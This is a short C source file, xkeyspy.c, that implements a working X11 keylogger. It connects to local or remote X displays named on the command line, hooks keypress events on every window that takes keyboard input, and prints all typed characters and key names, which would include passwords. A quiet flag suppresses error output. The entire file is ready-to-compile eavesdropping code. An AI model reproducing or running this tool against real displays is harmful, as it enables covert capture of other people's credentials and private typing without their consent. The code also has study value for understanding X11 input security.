/* Copyright (C) 2000 Donald J. Bindner
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 */

/* COMPILE: cc xkeyspy.c -o xkeyspy -I/usr/X11R6/include -L/usr/X11R6/lib -lX11 */

#include <stdio.h>
#include <unistd.h>
#include <ctype.h>
#include <X11/Xlib.h>
#include <X11/Xutil.h>
#include <X11/keysym.h>

int HookWindowList( Display *d, Window w ) {
/* Hooks up keypress events for all windows that were currently
 * capturing keypress events.  Returns number of windows attached
 * to.
 */
    Window root;
    Window parent;
    Window *child;
    XWindowAttributes wattr;
    unsigned int i, num, count=0;

    XQueryTree( d, w, &root, &parent, &child, &num );

    for( i = 0; i < num; i++ ) {
	XGetWindowAttributes( d, child[i], &wattr );
	if( wattr.all_event_masks & (KeyPressMask) ) {
	    XSelectInput( d, child[i], KeyPressMask );
	    count++;
	}
	count += HookWindowList( d, child[i] );
    }

    if( child ) XFree( child );

    return count;
}

void ListenTo( char *hostdpy ) {
/* listens to the windows on a particular host's display */
    Display *d;
    Window w;
    int num;

    d = XOpenDisplay( hostdpy );	/* attempt to open display */
    if( d == NULL ) return;

    w = DefaultRootWindow( d );		/* get root window */

    num = HookWindowList( d, w );	/* recurse children of root win */
    if( !num ) return;	/* number of windows hooked */

    printf( "Listening to \"%s\"\n", hostdpy );

    while( 1 ) {	/* process the keyboard events */
	XEvent event;

	fflush( stdout );
	XNextEvent( d, &event );

	if( event.type == KeyPress ) {
	    char str[256+1];
	    KeySym ks;
	    char *ksname;
	    int c;

	    c = XLookupString((XKeyEvent *)&event, str, 256, &ks, NULL );

	    if( isprint(str[0]) && c ) {	/* ordinary chars are printed */
		fputc( str[0], stdout );
		continue;
	    }

	    switch( ks ) {	/* key symbols are processed */
		case XK_Linefeed:
		case XK_Return:
		    fputc( '\n', stdout );
		    break;
		case XK_Shift_L:
		case XK_Shift_R:
		    break;
		case XK_BackSpace:
		case XK_Delete:
		    fputc( '\b', stdout );
		    break;
		default:
		    if( ks == NoSymbol )
			ksname = "NoSymbol";
		    else if( !(ksname = XKeysymToString(ks)))
			ksname = "no name";
		    printf( "[%s]", ksname );
	    }
	}
    }
}

void ShowHelp( void ) {
    printf( "Usage: xkeyspy [-h] [-q] display ...\n" );
    printf( " -h: help\n" );
    printf( " -q: quieter\n" );
    printf( "version 0.1\n" );
}

int main( int argc, char *argv[] ) {
    int c, i, quiet=0;
    FILE *f;

    /* Process options */
    while(( c = getopt( argc, argv, "hq" )) != -1 ) {
	switch( c ) {
	    case 'h':
		ShowHelp();
		exit( 0 );
		break;
	    case 'q':
		quiet++;
		break;
	    default:
		ShowHelp();
		exit( 0 );
		break;
	}
    }

    /* redirect stderr to /dev/null */
    if( quiet ) {
	f = fopen( "/dev/null", "w" );
	if( f ) {
	    dup2( fileno(f), fileno( stderr ));	/* redirect */
	}
    }

    for( i = optind; i < argc; i++ ) {
	printf( "trying \"%s\"...\n", argv[i] );
	ListenTo( argv[i] );
    }

    return 0;
}

